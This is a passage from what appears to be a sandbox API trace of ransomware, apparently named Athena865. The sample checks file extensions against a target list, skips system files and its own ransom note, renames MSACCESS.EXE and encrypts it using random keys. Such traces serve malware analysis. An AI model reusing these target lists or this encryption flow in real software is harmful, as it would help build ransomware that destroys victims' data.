(lpString="btr") returned 3 [0075.538] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0075.538] lstrlenW (lpString="cat") returned 3 [0075.538] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0075.538] lstrlenW (lpString="cdb") returned 3 [0075.538] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0075.538] lstrlenW (lpString="ckp") returned 3 [0075.538] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0075.538] lstrlenW (lpString="cma") returned 3 [0075.538] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0075.538] lstrlenW (lpString="cpd") returned 3 [0075.538] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0075.538] lstrlenW (lpString="dacpac") returned 6 [0075.538] lstrcmpiW (lpString1="SS.EXE", lpString2="dacpac") returned 1 [0075.538] lstrlenW (lpString="dad") returned 3 [0075.538] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0075.538] lstrlenW (lpString="dadiagrams") returned 10 [0075.538] lstrcmpiW (lpString1="ACCESS.EXE", lpString2="dadiagrams") returned -1 [0075.538] lstrlenW (lpString="daschema") returned 8 [0075.538] lstrcmpiW (lpString1="CESS.EXE", lpString2="daschema") returned -1 [0075.538] lstrlenW (lpString="db-journal") returned 10 [0075.538] lstrcmpiW (lpString1="ACCESS.EXE", lpString2="db-journal") returned -1 [0075.538] lstrlenW (lpString="db-shm") returned 6 [0075.538] lstrcmpiW (lpString1="SS.EXE", lpString2="db-shm") returned 1 [0075.538] lstrlenW (lpString="db-wal") returned 6 [0075.538] lstrcmpiW (lpString1="SS.EXE", lpString2="db-wal") returned 1 [0075.538] lstrlenW (lpString="dbc") returned 3 [0075.538] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0075.539] lstrlenW (lpString="dbs") returned 3 [0075.539] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0075.539] lstrlenW (lpString="dbt") returned 3 [0075.539] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0075.539] lstrlenW (lpString="dbv") returned 3 [0075.539] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0075.539] lstrlenW (lpString="dbx") returned 3 [0075.539] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0075.539] lstrlenW (lpString="dcb") returned 3 [0075.539] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0075.539] lstrlenW (lpString="dct") returned 3 [0075.539] lstrcmpiW (lpString1="EXE", lpString2="dct") returned 1 [0075.539] lstrlenW (lpString="dcx") returned 3 [0075.539] lstrcmpiW (lpString1="EXE", lpString2="dcx") returned 1 [0075.539] lstrlenW (lpString="ddl") returned 3 [0075.539] lstrcmpiW (lpString1="EXE", lpString2="ddl") returned 1 [0075.539] lstrlenW (lpString="dlis") returned 4 [0075.539] lstrcmpiW (lpString1=".EXE", lpString2="dlis") returned -1 [0075.539] lstrlenW (lpString="dp1") returned 3 [0075.539] lstrcmpiW (lpString1="EXE", lpString2="dp1") returned 1 [0075.539] lstrlenW (lpString="dqy") returned 3 [0075.539] lstrcmpiW (lpString1="EXE", lpString2="dqy") returned 1 [0075.539] lstrlenW (lpString="dsk") returned 3 [0075.539] lstrcmpiW (lpString1="EXE", lpString2="dsk") returned 1 [0075.539] lstrlenW (lpString="dsn") returned 3 [0075.539] lstrcmpiW (lpString1="EXE", lpString2="dsn") returned 1 [0075.539] lstrlenW (lpString="dtsx") returned 4 [0075.539] lstrcmpiW (lpString1=".EXE", lpString2="dtsx") returned -1 [0075.539] lstrlenW (lpString="dxl") returned 3 [0075.539] lstrcmpiW (lpString1="EXE", lpString2="dxl") returned 1 [0075.539] lstrlenW (lpString="eco") returned 3 [0075.539] lstrcmpiW (lpString1="EXE", lpString2="eco") returned 1 [0075.539] lstrlenW (lpString="ecx") returned 3 [0075.539] lstrcmpiW (lpString1="EXE", lpString2="ecx") returned 1 [0075.540] lstrlenW (lpString="edb") returned 3 [0075.540] lstrcmpiW (lpString1="EXE", lpString2="edb") returned 1 [0075.540] lstrlenW (lpString="epim") returned 4 [0075.540] lstrcmpiW (lpString1=".EXE", lpString2="epim") returned -1 [0075.540] lstrlenW (lpString="fcd") returned 3 [0075.540] lstrcmpiW (lpString1="EXE", lpString2="fcd") returned -1 [0075.540] lstrlenW (lpString="fdb") returned 3 [0075.540] lstrcmpiW (lpString1="EXE", lpString2="fdb") returned -1 [0075.540] lstrlenW (lpString="fic") returned 3 [0075.540] lstrcmpiW (lpString1="EXE", lpString2="fic") returned -1 [0075.540] lstrlenW (lpString="flexolibrary") returned 12 [0075.540] lstrlenW (lpString="fm5") returned 3 [0075.540] lstrcmpiW (lpString1="EXE", lpString2="fm5") returned -1 [0075.540] lstrlenW (lpString="fmp") returned 3 [0075.540] lstrcmpiW (lpString1="EXE", lpString2="fmp") returned -1 [0075.540] lstrlenW (lpString="fmp12") returned 5 [0075.540] lstrcmpiW (lpString1="S.EXE", lpString2="fmp12") returned 1 [0075.540] lstrlenW (lpString="fmpsl") returned 5 [0075.540] lstrcmpiW (lpString1="S.EXE", lpString2="fmpsl") returned 1 [0075.540] lstrlenW (lpString="fol") returned 3 [0075.540] lstrcmpiW (lpString1="EXE", lpString2="fol") returned -1 [0075.540] lstrlenW (lpString="fp3") returned 3 [0075.540] lstrcmpiW (lpString1="EXE", lpString2="fp3") returned -1 [0075.540] lstrlenW (lpString="fp4") returned 3 [0075.540] lstrcmpiW (lpString1="EXE", lpString2="fp4") returned -1 [0075.540] lstrlenW (lpString="fp5") returned 3 [0075.540] lstrcmpiW (lpString1="EXE", lpString2="fp5") returned -1 [0075.540] lstrlenW (lpString="fp7") returned 3 [0075.540] lstrcmpiW (lpString1="EXE", lpString2="fp7") returned -1 [0075.540] lstrlenW (lpString="fpt") returned 3 [0075.540] lstrcmpiW (lpString1="EXE", lpString2="fpt") returned -1 [0075.540] lstrlenW (lpString="frm") returned 3 [0075.540] lstrcmpiW (lpString1="EXE", lpString2="frm") returned -1 [0075.540] lstrlenW (lpString="gdb") returned 3 [0075.541] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0075.541] lstrlenW (lpString="gdb") returned 3 [0075.541] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0075.541] lstrlenW (lpString="grdb") returned 4 [0075.541] lstrcmpiW (lpString1=".EXE", lpString2="grdb") returned -1 [0075.541] lstrlenW (lpString="gwi") returned 3 [0075.541] lstrcmpiW (lpString1="EXE", lpString2="gwi") returned -1 [0075.541] lstrlenW (lpString="hdb") returned 3 [0075.541] lstrcmpiW (lpString1="EXE", lpString2="hdb") returned -1 [0075.541] lstrlenW (lpString="his") returned 3 [0075.541] lstrcmpiW (lpString1="EXE", lpString2="his") returned -1 [0075.541] lstrlenW (lpString="ib") returned 2 [0075.541] lstrcmpiW (lpString1="XE", lpString2="ib") returned 1 [0075.541] lstrlenW (lpString="idb") returned 3 [0075.541] lstrcmpiW (lpString1="EXE", lpString2="idb") returned -1 [0075.541] lstrlenW (lpString="ihx") returned 3 [0075.541] lstrcmpiW (lpString1="EXE", lpString2="ihx") returned -1 [0075.541] lstrlenW (lpString="itdb") returned 4 [0075.541] lstrcmpiW (lpString1=".EXE", lpString2="itdb") returned -1 [0075.541] lstrlenW (lpString="itw") returned 3 [0075.541] lstrcmpiW (lpString1="EXE", lpString2="itw") returned -1 [0075.541] lstrlenW (lpString="jet") returned 3 [0075.541] lstrcmpiW (lpString1="EXE", lpString2="jet") returned -1 [0075.541] lstrlenW (lpString="jtx") returned 3 [0075.541] lstrcmpiW (lpString1="EXE", lpString2="jtx") returned -1 [0075.541] lstrlenW (lpString="kdb") returned 3 [0075.541] lstrcmpiW (lpString1="EXE", lpString2="kdb") returned -1 [0075.541] lstrlenW (lpString="kexi") returned 4 [0075.541] lstrcmpiW (lpString1=".EXE", lpString2="kexi") returned -1 [0075.541] lstrlenW (lpString="kexic") returned 5 [0075.541] lstrcmpiW (lpString1="S.EXE", lpString2="kexic") returned 1 [0075.541] lstrlenW (lpString="kexis") returned 5 [0075.541] lstrcmpiW (lpString1="S.EXE", lpString2="kexis") returned 1 [0075.542] lstrlenW (lpString="lgc") returned 3 [0075.542] lstrcmpiW (lpString1="EXE", lpString2="lgc") returned -1 [0075.542] lstrlenW (lpString="lwx") returned 3 [0075.542] lstrcmpiW (lpString1="EXE", lpString2="lwx") returned -1 [0075.542] lstrlenW (lpString="maf") returned 3 [0075.542] lstrcmpiW (lpString1="EXE", lpString2="maf") returned -1 [0075.542] lstrlenW (lpString="maq") returned 3 [0075.542] lstrcmpiW (lpString1="EXE", lpString2="maq") returned -1 [0075.542] lstrlenW (lpString="mar") returned 3 [0075.542] lstrcmpiW (lpString1="EXE", lpString2="mar") returned -1 [0075.542] lstrlenW (lpString="marshal") returned 7 [0075.542] lstrcmpiW (lpString1="ESS.EXE", lpString2="marshal") returned -1 [0075.542] lstrlenW (lpString="mas") returned 3 [0075.542] lstrcmpiW (lpString1="EXE", lpString2="mas") returned -1 [0075.542] lstrlenW (lpString="mav") returned 3 [0075.542] lstrcmpiW (lpString1="EXE", lpString2="mav") returned -1 [0075.542] lstrlenW (lpString="maw") returned 3 [0075.542] lstrcmpiW (lpString1="EXE", lpString2="maw") returned -1 [0075.542] lstrlenW (lpString="mdbhtml") returned 7 [0075.542] lstrcmpiW (lpString1="ESS.EXE", lpString2="mdbhtml") returned -1 [0075.542] lstrlenW (lpString="mdn") returned 3 [0075.542] lstrcmpiW (lpString1="EXE", lpString2="mdn") returned -1 [0075.542] lstrlenW (lpString="mdt") returned 3 [0075.542] lstrcmpiW (lpString1="EXE", lpString2="mdt") returned -1 [0075.542] lstrlenW (lpString="mfd") returned 3 [0075.542] lstrcmpiW (lpString1="EXE", lpString2="mfd") returned -1 [0075.542] lstrlenW (lpString="mpd") returned 3 [0075.542] lstrcmpiW (lpString1="EXE", lpString2="mpd") returned -1 [0075.542] lstrlenW (lpString="mrg") returned 3 [0075.542] lstrcmpiW (lpString1="EXE", lpString2="mrg") returned -1 [0075.542] lstrlenW (lpString="mud") returned 3 [0075.542] lstrcmpiW (lpString1="EXE", lpString2="mud") returned -1 [0075.543] lstrlenW (lpString="mwb") returned 3 [0075.543] lstrcmpiW (lpString1="EXE", lpString2="mwb") returned -1 [0075.543] lstrlenW (lpString="myd") returned 3 [0075.543] lstrcmpiW (lpString1="EXE", lpString2="myd") returned -1 [0075.543] lstrlenW (lpString="ndf") returned 3 [0075.543] lstrcmpiW (lpString1="EXE", lpString2="ndf") returned -1 [0075.543] lstrlenW (lpString="nnt") returned 3 [0075.543] lstrcmpiW (lpString1="EXE", lpString2="nnt") returned -1 [0075.543] lstrlenW (lpString="nrmlib") returned 6 [0075.543] lstrcmpiW (lpString1="SS.EXE", lpString2="nrmlib") returned 1 [0075.543] lstrlenW (lpString="ns2") returned 3 [0075.543] lstrcmpiW (lpString1="EXE", lpString2="ns2") returned -1 [0075.543] lstrlenW (lpString="ns3") returned 3 [0075.543] lstrcmpiW (lpString1="EXE", lpString2="ns3") returned -1 [0075.543] lstrlenW (lpString="ns4") returned 3 [0075.543] lstrcmpiW (lpString1="EXE", lpString2="ns4") returned -1 [0075.543] lstrlenW (lpString="nsf") returned 3 [0075.543] lstrcmpiW (lpString1="EXE", lpString2="nsf") returned -1 [0075.543] lstrlenW (lpString="nv") returned 2 [0075.543] lstrcmpiW (lpString1="XE", lpString2="nv") returned 1 [0075.543] lstrlenW (lpString="nv2") returned 3 [0075.543] lstrcmpiW (lpString1="EXE", lpString2="nv2") returned -1 [0075.543] lstrlenW (lpString="nwdb") returned 4 [0075.543] lstrcmpiW (lpString1=".EXE", lpString2="nwdb") returned -1 [0075.543] lstrlenW (lpString="nyf") returned 3 [0075.543] lstrcmpiW (lpString1="EXE", lpString2="nyf") returned -1 [0075.543] lstrlenW (lpString="odb") returned 3 [0075.543] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0075.543] lstrlenW (lpString="odb") returned 3 [0075.543] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0075.543] lstrlenW (lpString="oqy") returned 3 [0075.543] lstrcmpiW (lpString1="EXE", lpString2="oqy") returned -1 [0075.543] lstrlenW (lpString="ora") returned 3 [0075.544] lstrcmpiW (lpString1="EXE", lpString2="ora") returned -1 [0075.544] lstrlenW (lpString="orx") returned 3 [0075.544] lstrcmpiW (lpString1="EXE", lpString2="orx") returned -1 [0075.544] lstrlenW (lpString="owc") returned 3 [0075.544] lstrcmpiW (lpString1="EXE", lpString2="owc") returned -1 [0075.544] lstrlenW (lpString="p96") returned 3 [0075.544] lstrcmpiW (lpString1="EXE", lpString2="p96") returned -1 [0075.544] lstrlenW (lpString="p97") returned 3 [0075.544] lstrcmpiW (lpString1="EXE", lpString2="p97") returned -1 [0075.544] lstrlenW (lpString="pan") returned 3 [0075.544] lstrcmpiW (lpString1="EXE", lpString2="pan") returned -1 [0075.544] lstrlenW (lpString="pdb") returned 3 [0075.544] lstrcmpiW (lpString1="EXE", lpString2="pdb") returned -1 [0075.544] lstrlenW (lpString="pdm") returned 3 [0075.544] lstrcmpiW (lpString1="EXE", lpString2="pdm") returned -1 [0075.544] lstrlenW (lpString="pnz") returned 3 [0075.544] lstrcmpiW (lpString1="EXE", lpString2="pnz") returned -1 [0075.544] lstrlenW (lpString="qry") returned 3 [0075.544] lstrcmpiW (lpString1="EXE", lpString2="qry") returned -1 [0075.544] lstrlenW (lpString="qvd") returned 3 [0075.544] lstrcmpiW (lpString1="EXE", lpString2="qvd") returned -1 [0075.544] lstrlenW (lpString="rbf") returned 3 [0075.544] lstrcmpiW (lpString1="EXE", lpString2="rbf") returned -1 [0075.544] lstrlenW (lpString="rctd") returned 4 [0075.544] lstrcmpiW (lpString1=".EXE", lpString2="rctd") returned -1 [0075.544] lstrlenW (lpString="rod") returned 3 [0075.544] lstrcmpiW (lpString1="EXE", lpString2="rod") returned -1 [0075.544] lstrlenW (lpString="rodx") returned 4 [0075.544] lstrcmpiW (lpString1=".EXE", lpString2="rodx") returned -1 [0075.544] lstrlenW (lpString="rpd") returned 3 [0075.544] lstrcmpiW (lpString1="EXE", lpString2="rpd") returned -1 [0075.544] lstrlenW (lpString="rsd") returned 3 [0075.544] lstrcmpiW (lpString1="EXE", lpString2="rsd") returned -1 [0075.545] lstrlenW (lpString="sas7bdat") returned 8 [0075.545] lstrcmpiW (lpString1="CESS.EXE", lpString2="sas7bdat") returned -1 [0075.545] lstrlenW (lpString="sbf") returned 3 [0075.545] lstrcmpiW (lpString1="EXE", lpString2="sbf") returned -1 [0075.545] lstrlenW (lpString="scx") returned 3 [0075.545] lstrcmpiW (lpString1="EXE", lpString2="scx") returned -1 [0075.545] lstrlenW (lpString="sdb") returned 3 [0075.545] lstrcmpiW (lpString1="EXE", lpString2="sdb") returned -1 [0075.545] lstrlenW (lpString="sdc") returned 3 [0075.545] lstrcmpiW (lpString1="EXE", lpString2="sdc") returned -1 [0075.545] lstrlenW (lpString="sdf") returned 3 [0075.545] lstrcmpiW (lpString1="EXE", lpString2="sdf") returned -1 [0075.545] lstrlenW (lpString="sis") returned 3 [0075.545] lstrcmpiW (lpString1="EXE", lpString2="sis") returned -1 [0075.545] lstrlenW (lpString="spq") returned 3 [0075.545] lstrcmpiW (lpString1="EXE", lpString2="spq") returned -1 [0075.545] lstrlenW (lpString="te") returned 2 [0075.545] lstrcmpiW (lpString1="XE", lpString2="te") returned 1 [0075.545] lstrlenW (lpString="teacher") returned 7 [0075.545] lstrcmpiW (lpString1="ESS.EXE", lpString2="teacher") returned -1 [0075.545] lstrlenW (lpString="tmd") returned 3 [0075.545] lstrcmpiW (lpString1="EXE", lpString2="tmd") returned -1 [0075.545] lstrlenW (lpString="tps") returned 3 [0075.545] lstrcmpiW (lpString1="EXE", lpString2="tps") returned -1 [0075.545] lstrlenW (lpString="trc") returned 3 [0075.545] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0075.545] lstrlenW (lpString="trc") returned 3 [0075.545] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0075.545] lstrlenW (lpString="trm") returned 3 [0075.545] lstrcmpiW (lpString1="EXE", lpString2="trm") returned -1 [0075.545] lstrlenW (lpString="udb") returned 3 [0075.545] lstrcmpiW (lpString1="EXE", lpString2="udb") returned -1 [0075.545] lstrlenW (lpString="udl") returned 3 [0075.546] lstrcmpiW (lpString1="EXE", lpString2="udl") returned -1 [0075.546] lstrlenW (lpString="usr") returned 3 [0075.546] lstrcmpiW (lpString1="EXE", lpString2="usr") returned -1 [0075.546] lstrlenW (lpString="v12") returned 3 [0075.546] lstrcmpiW (lpString1="EXE", lpString2="v12") returned -1 [0075.546] lstrlenW (lpString="vis") returned 3 [0075.546] lstrcmpiW (lpString1="EXE", lpString2="vis") returned -1 [0075.546] lstrlenW (lpString="vpd") returned 3 [0075.546] lstrcmpiW (lpString1="EXE", lpString2="vpd") returned -1 [0075.546] lstrlenW (lpString="vvv") returned 3 [0075.546] lstrcmpiW (lpString1="EXE", lpString2="vvv") returned -1 [0075.546] lstrlenW (lpString="wdb") returned 3 [0075.546] lstrcmpiW (lpString1="EXE", lpString2="wdb") returned -1 [0075.546] lstrlenW (lpString="wmdb") returned 4 [0075.546] lstrcmpiW (lpString1=".EXE", lpString2="wmdb") returned -1 [0075.546] lstrlenW (lpString="wrk") returned 3 [0075.546] lstrcmpiW (lpString1="EXE", lpString2="wrk") returned -1 [0075.546] lstrlenW (lpString="xdb") returned 3 [0075.546] lstrcmpiW (lpString1="EXE", lpString2="xdb") returned -1 [0075.546] lstrlenW (lpString="xld") returned 3 [0075.546] lstrcmpiW (lpString1="EXE", lpString2="xld") returned -1 [0075.546] lstrlenW (lpString="xmlff") returned 5 [0075.546] lstrcmpiW (lpString1="S.EXE", lpString2="xmlff") returned -1 [0075.546] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSACCESS.EXE.Athena865") returned 65 [0075.546] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSACCESS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\msaccess.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSACCESS.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msaccess.exe.athena865"), dwFlags=0x1) returned 1 [0075.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSACCESS.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msaccess.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.547] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20106080) returned 1 [0075.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.548] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.548] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.548] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.549] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x132ce60, lpName=0x0) returned 0x17c [0075.550] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x1200000, dwNumberOfBytesToMap=0x12ce60) returned 0x2d50000 [0075.604] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0075.681] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0075.702] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.703] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.703] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.703] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.703] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.703] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.703] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.703] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.704] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0075.714] CloseHandle (hObject=0x17c) returned 1 [0075.715] CloseHandle (hObject=0x154) returned 1 [0075.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.725] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53eb900, ftCreationTime.dwHighDateTime=0x1cab7e4, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe53eb900, ftLastWriteTime.dwHighDateTime=0x1cab7e4, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msaccess.exe.manifest", cAlternateFileName="MSACCE~1.MAN")) returned 1 [0075.725] lstrcmpiW (lpString1="msaccess.exe.manifest", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.725] lstrcmpiW (lpString1="msaccess.exe.manifest", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.725] lstrcmpiW (lpString1="msaccess.exe.manifest", lpString2=".") returned 1 [0075.725] lstrcmpiW (lpString1="msaccess.exe.manifest", lpString2="..") returned 1 [0075.725] lstrcmpiW (lpString1="msaccess.exe.manifest", lpString2="windows") returned -1 [0075.725] lstrcmpiW (lpString1="msaccess.exe.manifest", lpString2="bootmgr") returned 1 [0075.725] lstrcmpiW (lpString1="msaccess.exe.manifest", lpString2="temp") returned -1 [0075.725] lstrcmpiW (lpString1="msaccess.exe.manifest", lpString2="pagefile.sys") returned -1 [0075.725] lstrcmpiW (lpString1="msaccess.exe.manifest", lpString2="boot") returned 1 [0075.725] lstrcmpiW (lpString1="msaccess.exe.manifest", lpString2="ids.txt") returned 1 [0075.725] lstrcmpiW (lpString1="msaccess.exe.manifest", lpString2="ntuser.dat") returned -1 [0075.725] lstrcmpiW (lpString1="msaccess.exe.manifest", lpString2="perflogs") returned -1 [0075.725] lstrcmpiW (lpString1="msaccess.exe.manifest", lpString2="MSBuild") returned -1 [0075.725] lstrlenW (lpString="msaccess.exe.manifest") returned 21 [0075.725] lstrcpyW (in: lpString1=0x241e89e, lpString2="msaccess.exe.manifest" | out: lpString1="msaccess.exe.manifest") returned="msaccess.exe.manifest" [0075.725] lstrlenW (lpString="msaccess.exe.manifest") returned 21 [0075.725] lstrlenW (lpString="Athena865") returned 9 [0075.725] lstrcmpiW (lpString1=".manifest", lpString2="Athena865") returned -1 [0075.725] lstrlenW (lpString=".dll") returned 4 [0075.725] lstrcmpiW (lpString1="msaccess.exe.manifest", lpString2=".dll") returned 1 [0075.725] lstrlenW (lpString=".lnk") returned 4 [0075.725] lstrcmpiW (lpString1="msaccess.exe.manifest", lpString2=".lnk") returned 1 [0075.725] lstrlenW (lpString=".ini") returned 4 [0075.725] lstrcmpiW (lpString1="msaccess.exe.manifest", lpString2=".ini") returned 1 [0075.726] lstrlenW (lpString=".sys") returned 4 [0075.726] lstrcmpiW (lpString1="msaccess.exe.manifest", lpString2=".sys") returned 1 [0075.726] lstrlenW (lpString="msaccess.exe.manifest") returned 21 [0075.726] lstrlenW (lpString="bak") returned 3 [0075.726] lstrcmpiW (lpString1="est", lpString2="bak") returned 1 [0075.726] lstrlenW (lpString="ba_") returned 3 [0075.726] lstrcmpiW (lpString1="est", lpString2="ba_") returned 1 [0075.726] lstrlenW (lpString="dbb") returned 3 [0075.726] lstrcmpiW (lpString1="est", lpString2="dbb") returned 1 [0075.726] lstrlenW (lpString="vmdk") returned 4 [0075.726] lstrcmpiW (lpString1="fest", lpString2="vmdk") returned -1 [0075.726] lstrlenW (lpString="rar") returned 3 [0075.726] lstrcmpiW (lpString1="est", lpString2="rar") returned -1 [0075.726] lstrlenW (lpString="zip") returned 3 [0075.726] lstrcmpiW (lpString1="est", lpString2="zip") returned -1 [0075.726] lstrlenW (lpString="tgz") returned 3 [0075.726] lstrcmpiW (lpString1="est", lpString2="tgz") returned -1 [0075.726] lstrlenW (lpString="vbox") returned 4 [0075.726] lstrcmpiW (lpString1="fest", lpString2="vbox") returned -1 [0075.726] lstrlenW (lpString="vdi") returned 3 [0075.726] lstrcmpiW (lpString1="est", lpString2="vdi") returned -1 [0075.726] lstrlenW (lpString="vhd") returned 3 [0075.726] lstrcmpiW (lpString1="est", lpString2="vhd") returned -1 [0075.726] lstrlenW (lpString="vhdx") returned 4 [0075.726] lstrcmpiW (lpString1="fest", lpString2="vhdx") returned -1 [0075.726] lstrlenW (lpString="avhd") returned 4 [0075.726] lstrcmpiW (lpString1="fest", lpString2="avhd") returned 1 [0075.726] lstrlenW (lpString="db") returned 2 [0075.726] lstrcmpiW (lpString1="st", lpString2="db") returned 1 [0075.726] lstrlenW (lpString="db2") returned 3 [0075.726] lstrcmpiW (lpString1="est", lpString2="db2") returned 1 [0075.726] lstrlenW (lpString="db3") returned 3 [0075.726] lstrcmpiW (lpString1="est", lpString2="db3") returned 1 [0075.727] lstrlenW (lpString="dbf") returned 3 [0075.727] lstrcmpiW (lpString1="est", lpString2="dbf") returned 1 [0075.727] lstrlenW (lpString="mdf") returned 3 [0075.727] lstrcmpiW (lpString1="est", lpString2="mdf") returned -1 [0075.727] lstrlenW (lpString="mdb") returned 3 [0075.727] lstrcmpiW (lpString1="est", lpString2="mdb") returned -1 [0075.727] lstrlenW (lpString="sql") returned 3 [0075.727] lstrcmpiW (lpString1="est", lpString2="sql") returned -1 [0075.727] lstrlenW (lpString="sqlite") returned 6 [0075.727] lstrcmpiW (lpString1="nifest", lpString2="sqlite") returned -1 [0075.727] lstrlenW (lpString="sqlite3") returned 7 [0075.727] lstrcmpiW (lpString1="anifest", lpString2="sqlite3") returned -1 [0075.727] lstrlenW (lpString="sqlitedb") returned 8 [0075.727] lstrcmpiW (lpString1="manifest", lpString2="sqlitedb") returned -1 [0075.727] lstrlenW (lpString="xml") returned 3 [0075.727] lstrcmpiW (lpString1="est", lpString2="xml") returned -1 [0075.727] lstrlenW (lpString="$er") returned 3 [0075.727] lstrcmpiW (lpString1="est", lpString2="$er") returned 1 [0075.727] lstrlenW (lpString="4dd") returned 3 [0075.727] lstrcmpiW (lpString1="est", lpString2="4dd") returned 1 [0075.727] lstrlenW (lpString="4dl") returned 3 [0075.727] lstrcmpiW (lpString1="est", lpString2="4dl") returned 1 [0075.727] lstrlenW (lpString="^^^") returned 3 [0075.727] lstrcmpiW (lpString1="est", lpString2="^^^") returned 1 [0075.727] lstrlenW (lpString="abs") returned 3 [0075.727] lstrcmpiW (lpString1="est", lpString2="abs") returned 1 [0075.727] lstrlenW (lpString="abx") returned 3 [0075.727] lstrcmpiW (lpString1="est", lpString2="abx") returned 1 [0075.727] lstrlenW (lpString="accdb") returned 5 [0075.727] lstrcmpiW (lpString1="ifest", lpString2="accdb") returned 1 [0075.727] lstrlenW (lpString="accdc") returned 5 [0075.727] lstrcmpiW (lpString1="ifest", lpString2="accdc") returned 1 [0075.727] lstrlenW (lpString="accde") returned 5 [0075.728] lstrcmpiW (lpString1="ifest", lpString2="accde") returned 1 [0075.728] lstrlenW (lpString="accdr") returned 5 [0075.728] lstrcmpiW (lpString1="ifest", lpString2="accdr") returned 1 [0075.728] lstrlenW 